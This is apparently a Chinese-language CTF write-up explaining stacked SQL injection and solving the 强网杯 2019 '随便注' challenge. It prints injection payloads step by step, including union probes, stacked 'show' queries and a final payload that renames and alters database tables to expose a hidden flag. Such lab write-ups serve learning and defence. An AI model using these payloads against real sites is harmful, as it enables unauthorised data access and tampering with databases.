前几星期写题时遇见了好几道关于堆叠注入的题目,结果发现我对堆叠注入不是特别了解,所以写一下博客记录一下,但是发现堆叠注入使用的场景和条件好像有点苛刻。
堆叠注入原理
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如
1 | select * from users;show databases; |
就同时执行以上两条命令,所以我们可以增删改查,只要权限够。
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
堆叠注入触发条件
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是
- 目标存在sql注入漏洞
- 目标未对”;”号进行过滤
- 目标中间层查询数据库信息时可同时执行多条sql语句
实例-[强网杯 2019]随便注
输入1,页面返回正常;
输入1’ 页面报错了,加上注释符号#页面又回显正常,那么闭合符号就是单引号
然后进行正常的操作。
判断列数:
1 | 1' order by 2# //回显正常 |
联合查询:
1 | 1' union select 1,2# |
发现过滤了很多函数。
尝试堆叠注入:
1 | 1'; show databases;# |
查表名:
1 | 1'; show tables;# |
查询这两个表名中的列:
注意:这里查询表名使用反单引号,在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符。
1 | -1'; show columns from 'words';# |
在表1919810931114514中发现flag
虽然我们已经找到了flag了,但是select被过滤了,而show命令又不能查看值。这就比较头疼了,不过如果仔细观察的话,一开始过滤的并没有alert 和 rename,我们已经知道了words是用来回显内容的,所以思路就是:我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容里面。
- 将words的表名改成其它名字
- 将1919810931114514表名改成”words”
- 将flag列名改成id或者data
- 在将这个新的words表插入一个列,即id或者data
这里就要考验到我们对sql数据库的增删查改的能力了,当然我也不会,所以去网上搜一下。
1 | rename: 修改名字 |
构造出payload如下:
1 | 1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;# |
- rename table words to word1; //将words表名更改为word1
- rename table1919810931114514to words;//将1919810931114514表名改为words
- alter table words change flag id varchar(100); //将words表中的flag列改成数据类型为char(100)名字为data的新列